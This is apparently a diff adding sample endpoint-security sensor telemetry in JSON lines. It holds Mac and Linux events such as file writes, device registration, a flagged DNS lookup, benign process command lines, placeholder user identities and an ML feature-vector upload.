+{"event_simpleName":"GzipFileWritten","ContextTimeStamp":"1625677504.542","ConfigStateHash":"3090255842","ContextProcessId":"362897421906895953","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"04000001000000000000000000000000501f510700000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GzipFileWrittenMacV1","id":"ffffffff-1111-11eb-9320-06d410e6f705","EffectiveTransmissionClass":"2","aid":"fffffffffc2c4e4fa9c08e1a8388e5f9","timestamp":"1625677504614","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/powerlog/Library/BatteryLife/Archives/powerlog_2021-07-05_CC5F9FC1.PLSQL.gz"}
+{"event_simpleName":"IOServiceRegister","ContextTimeStamp":"1625622770.595","ConfigStateHash":"3967242894","aip":"67.43.156.13","IOServiceClass":"IOUSBDevice:IOUSBNub:IOService:IORegistryEntry:OSObject","ConfigBuild":"1007.4.0013701.1","IOServicePath":"IOService:/IOResources/AppleUSBHostResources/AppleUSBLegacyRoot/AppleUSBVHCIBCE@80000000/Touch Bar Backlight@80700000","event_platform":"Mac","IOServiceProperties":"","Entitlements":"15","name":"IOServiceRegisterMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","IOServiceName":"Touch Bar Backlight","timestamp":"1625677480056","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"PtyCreated","ContextTimeStamp":"1625622602.031","ConfigStateHash":"3967242894","ContextProcessId":"364938416497226937","DeviceId":"251658248","ContextThreadId":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PtyCreatedMacV1","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677478739","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressRemovedIP4","ConfigStateHash":"1803419442","aip":"67.43.156.14","InterfaceIndex":"18","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressRemovedIP4MacV1","id":"ffffffff-1111-11eb-b7b7-066cc89bcebf","EffectiveTransmissionClass":"2","aid":"ffffffff5ae3449ab33a1809fe6c5ce2","timestamp":"1625677475967","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"NetworkCloseIP6","ContextTimeStamp":"1625677474.875","LocalAddressIP6":"0:0:0:0:0:0:0:1","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1701000200","ConnectionFlags":"0","ContextProcessId":"12241681491990","RemotePort":"9","aip":"67.43.156.13","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"59999","Entitlements":"15","name":"NetworkCloseIP6LinV6","id":"ffffffff-1111-11eb-8130-02cde7751097","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffff335f47ca89cad6a19f203bbd","ConnectionDirection":"2","InContext":"0","timestamp":"1625677475413","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ConfigBuild":"1007.8.0011611.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1156120155","ConfigStateData":"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV2","aip":"67.43.156.14","id":"ffffffff-1111-11eb-af89-06c111484f9f","aid":"ffffffffa74a4c89b9984a3a7124bb9d","timestamp":"1625677490580","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"SuspiciousDnsRequest","ContextTimeStamp":"1625677493.531","ConfigStateHash":"3090255842","ContextProcessId":"364839648316192383","DomainName":"hg-t2.dotice.me","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"SuspiciousDnsRequestMacV1","id":"ffffffff-1111-11eb-a4a3-02cbdfb8f529","EffectiveTransmissionClass":"2","aid":"ffffffff0cd64fb78626ab1b6c65ac8c","timestamp":"1625677493756","cid":"ffffffff15754bcfb5f9152ec7ac90ac","RequestType":"1"}
+{"Parameter2":"0","event_simpleName":"ErrorEvent","Parameter1":"18446744072635810412","Parameter3":"0","ConfigStateHash":"1156120155","aip":"67.43.156.14","Line":"96","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","ErrorStatus":"3759276032","name":"ErrorEventLinV1","id":"ffffffff-1111-11eb-bdd3-0681aa29cecb","Facility":"16778240","aid":"ffffffffabd047b1a86c1fcd8ef22b59","File":"0","timestamp":"1625677530922","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ConfigStateUpdate","ConfigStateHash":"3090255842","ConfigStateData":"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ConfigStateUpdateMacV2","id":"ffffffff-1111-11eb-8dc4-0234c12f9875","EffectiveTransmissionClass":"0","aid":"ffffffffa15a452190ae454f7d33e07e","timestamp":"1625677530590","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"KextLoad","ContextTimeStamp":"1625677509.064","ConfigStateHash":"1620585913","ContextProcessId":"364867547408058681","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","BundleID":"com.apple.driver.AudioAUUC","Entitlements":"15","name":"KextLoadMacV1","id":"ffffffff-1111-11eb-a2ae-028f6bf89be7","EffectiveTransmissionClass":"2","aid":"ffffffffaa0e47a1b009aef151d6179d","timestamp":"1625677509069","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"ChannelVersion":"25","event_simpleName":"ChannelVersionRequired","ConfigStateHash":"3155796140","aip":"67.43.156.14","ChannelVersionRequired":"0","ChannelId":"20","ConfigBuild":"1007.8.0011110.1","event_platform":"Lin","name":"ChannelVersionRequiredLinV1","id":"ffffffff-1111-11eb-b411-06baeacb7a63","aid":"ffffffff67d54f7daf3d998ffc74d48e","timestamp":"1625677507901","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"2037712541","Timeout":"60","ParentProcessId":"0","aip":"67.43.156.14","SuppressType":"3","SHA256HashData":"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20","ProcessCount":"60","BoundedCount":"57","ConfigBuild":"1007.8.0011308.1","UID":"115","event_platform":"Lin","CommandLine":"sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon","Entitlements":"15","name":"ProcessRollup2StatsLinV3","id":"ffffffff-1111-11eb-b34e-063f4cefccb3","EffectiveTransmissionClass":"2","aid":"ffffffffe22549479fbe8293b6747a68","timestamp":"1625677511754","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"UserIdentity","LoginSessionId":"1138166333440","AuthenticationUuidAsString":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","UserName":"user1","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"265","UserPrincipal":"user1@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1530","ConfigBuild":"1007.4.0013701.1","UID":"265","event_platform":"Mac","Entitlements":"15","name":"UserIdentityMacV4","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109","timestamp":"1625677478122","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"FeatureVector":"000000527b2276223a22312e30222c226e223a352c226c223a3235362c2265223a7b2261223a5b31363737373232332c31363737373232332c31363737373232332c31363737373232332c31363737373232335d7d7d3f48793e3f6837b53f276c8b3ef8d4fe3f036e2f3fdb404f3e361134404d8c7e3df27bb33ef837b53faa57a83e752546402e6b513eb8e2193f5e63203e1446743f295e9e401fb7e93fe010623f90be0e3f6f837b3e7333333f3951833f33afb83e3f62b73e1893753f1b851f3ea752543e9333333ed446743f045a1d40889ba64065d2f2ad9a1b883f573eab3dd773193ed254613f3f3b643eedab9f3f579a6b4082b5dd3f92d42c3e8809d54040fcf83f90a71e40d717593e832ca53e19e83e3b4b295f3f64c2f83f8a9d1f3f27fcb93f088ce73e7333333de944673e81d7dc3f2db22d3e90cb293e2ca57a3e22b6ae3e843fe63f44fdf43f0573eb3ecbc6a83c648e8a3ceb1c433d16c6153c0d4fdf3d0529353e08ce703c2d81ae3f0809d53b69a2c63b7b43d93ded91683ba90cd43e2f9db23b6e28673d646499bb84406c3c0bd6623ea809d53edfb15b3dcc73acbc188d2a3c20cae63d390eaa3d148fda398cfb263b872b023d4d2b2c3a19c60fbc58ec963af9b13139f75bed3f687fcc3f105bc0ae9de3cf3cfb15b53a5dcccfbc2398203c9f40a3ba91e2153d0ec95c3f7e00d23dd048173c13b7d83f3404ea3ef06f69400392643c4dc8753b1f9485bb875d573cdebd903e1a9fbe3be83a113b1528f23c9279143c40053e3b62089e3d06ec183d16e58aba9c7ffe3b30c0273c3cbe623cc9eecc3b1e55c1ba25558f35192b55bcba493d357b1f123422c77e35700fd4349540073385f5c53562b199363180c1bbb5f5f133702cb134553ec134453f1234dfedcabba8e2e3bc4df26734da8f6636e51c133592f7ea34116278be173eabbc11ea79bbb3d4ae3574e4c733a4bbc53046530d34fd74ee330432f8bcf212d7bbaf3e47bc46690534a8a19335420670af1ab38734cdff54338e0e59bd23ad1934a8bd10bd2bb44e3433be90390220d73590265c3481ec3abb7701543b3e1eb437841ede333ede4c31d582ecbc195ee13510b6ab35ab6563b85ae696bcc582563510d9083490265c319cda2abc8327673428415ebba593a3347763df2f713b9cbd14a4d33486ea69bca3ec033d58ec963dc523f63dba7daa3cab9f563d5c67e03e8425af3cdaf8df3f47381d3bab606b3d174e663e6b1c433c4710cb3f04d0143c9691a73e0a233a3bde2ac33d0240b83ee339c13f139c0f3e2fec573df34d6a3d00e6b03df1a9fc3d9fb3fa3b6629953c4100e73d89fe873c0811b23d2d2dcb3ce5de163d0a1dfc3fac816f3f5096bc2e0d65af3df559b43b38ae323cf6555c3d93c3613d78a0903de872b03eb439583e27ef9e3c1689443f7c8b443eb06f694010ce703cff822c3c2d81ae3b0e68e43db5e2043e6b367a3d355ef23d1b089a3c5898b33bd373b03c41d29e3decbfb13d8a0e413bd9dfdb3c2dab9f3d1fddec3dcdd2f23cd10f523ce9ccb83f4b2fec3f7119ce3f276c8b3ee831273f036e2f3fe58adb3e361134404d8c7e3df972473ef837b53faab3683e7f1412402f34d73eb8e2193f62339c3e1446743f2041894013e0df3fe010623f90be0e3f6f837b3e7333333f449ba63f30a3d73e3f62b73e1893753f1b851f3ee240b83e9333333ed446743f03d07d40889ba64065d2f2ad8f49d23f4fd8ae3dd14e3c3edde69b3f3e147b3ee5bc023f579a6b409780343f92d42c3e8809d540435f703f90a71e40d717593e832ca53e19b3d03cc13fd13f6374bc3f8a9d1f3f27fcb93f1cd35b3e7333333de388663e884b5e3f29999a3e90cb293e2305533e2147ae3e843fe63f4d013b3f056d5d3ebe28243c6703b03cf084623d14a4d33c093b7e3d05a7093e087fcc3c304ab63f08c7e33b6ad0c43b8893b83dec22683ba8e2e33e2c56d63b6cd8dc3d637de9bb849cb23c08e79b3ea6dc5d3ee00d1b3dcb923abc1fd36f3c1cf56f3d385c683d134acb398c098e3b872b023d4e075f3a108bd4bc564d7f3b029cfe399cd0863f6958103f10b780ae9e16793cf601793a58523cbc231e7e3c9eecc0ba8398a63d0fba883f7d63883dd254613c14c4483f349ba63ef0b0f24003aa263c49afe23b23d70abb875d573cde3fbc3e1a9fbe3bebcc6c3b19d0203c92641b3c402f303b62d1f23d0366513d1797ccba9f40a33b32c83f3c39a1773ccfe9b83b2276b8ba786f1235192b55bcb890d63573a8ab34a531f734c11ccb3495400732a151a8369df96936179953bbbc1f00340207b734553ec134b523e7352bd356bba8e2e3bc4df26733a7cdeb36e51c1335421b0e3515c299be173eabbc11e647bbb3d4ae328448f533aa5c213046530d357f25dd330432f8bcf290acbbae9ee4bc4669053496f7d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"}
+{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"}
+{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
+{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"}
